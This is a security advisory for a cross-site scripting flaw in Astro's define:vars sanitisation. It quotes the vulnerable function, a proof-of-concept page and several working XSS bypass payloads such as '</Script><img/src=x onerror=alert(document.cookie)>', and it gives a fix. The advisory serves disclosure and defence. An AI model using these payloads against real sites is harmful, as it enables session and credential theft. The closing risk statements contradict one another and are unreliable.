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GHSA-j687-52p2-xcff
No affected components available
Summary
The defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript.
Details
The vulnerable function is defineScriptVars at packages/astro/src/runtime/server/render/util.ts:42-53:
export function defineScriptVars(vars: Record<any, any>) {
let output = '';
for (const [key, value] of Object.entries(vars)) {
output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
/<\/script>/g, // ← Case-sensitive, exact match only
'\\x3C/script>',
)};\n`;
}
return markHTMLString(output);
}
This function is called from renderElement at util.ts:172-174 when a <script> element has define:vars:
if (name === 'script') {
delete props.hoist;
children = defineScriptVars(defineVars) + '\n' + children;
}
The regex /<\/script>/g fails to match three classes of closing script tags that HTML parsers accept per the HTML specification §13.2.6.4:
- Case variations:
</Script>,</SCRIPT>,</sCrIpT>— HTML tag names are case-insensitive but the regex has noiflag. - Whitespace before
>:</script >,</script\t>,</script\n>— after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace. - Self-closing slash:
</script/>— the tokenizer enters "self-closing start tag" state on/.
JSON.stringify() does not escape <, >, or / characters, so all these payloads pass through serialization unchanged.
Execution flow: User-controlled input (e.g., Astro.url.searchParams) → assigned to a variable → passed via define:vars on a <script> tag → renderElement → defineScriptVars → incomplete sanitization → injected into <script> block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.
PoC
Step 1: Create an SSR Astro page (src/pages/index.astro):
---
const name = Astro.url.searchParams.get('name') || 'World';
---
<html>
<body>
<h1>Hello</h1>
<script define:vars={{ name }}>
console.log(name);
</script>
</body>
</html>
Step 2: Ensure SSR is enabled in astro.config.mjs:
export default defineConfig({
output: 'server'
});
Step 3: Start the dev server and visit:
http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>
Step 4: View the HTML source. The output contains:
<script>const name = "</Script><img/src=x onerror=alert(document.cookie)>";
console.log(name);
</script>
The browser's HTML parser matches </Script> case-insensitively, closing the script block. The <img onerror=alert(document.cookie)> is then parsed as HTML and the JavaScript in onerror executes.
Alternative bypass payloads:
/?name=</script ><img/src=x onerror=alert(1)>
/?name=</script/><img/src=x onerror=alert(1)>
/?name=</SCRIPT><img/src=x onerror=alert(1)>
Impact
An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to define:vars on a <script> tag. This is a documented and expected usage pattern in Astro.
Exploitation enables:
- Session hijacking via cookie theft (
document.cookie) - Credential theft by injecting fake login forms or keyloggers
- Defacement of the rendered page
- Redirection to attacker-controlled domains
The vulnerability affects all Astro versions that support define:vars and is exploitable in any SSR deployment where user input reaches a define:vars script variable.
Recommended Fix
Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all < characters in the JSON output:
export function defineScriptVars(vars: Record<any, any>) {
let output = '';
for (const [key, value] of Object.entries(vars)) {
output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
/</g,
'\\u003c',
)};\n`;
}
return markHTMLString(output);
}
This is the standard approach used by frameworks like Next.js and Rails. Replacing every < with \u003c is safe inside JSON string contexts (JavaScript treats \u003c as < at runtime) and eliminates all possible </script> variants including case variations, whitespace, and self-closing forms.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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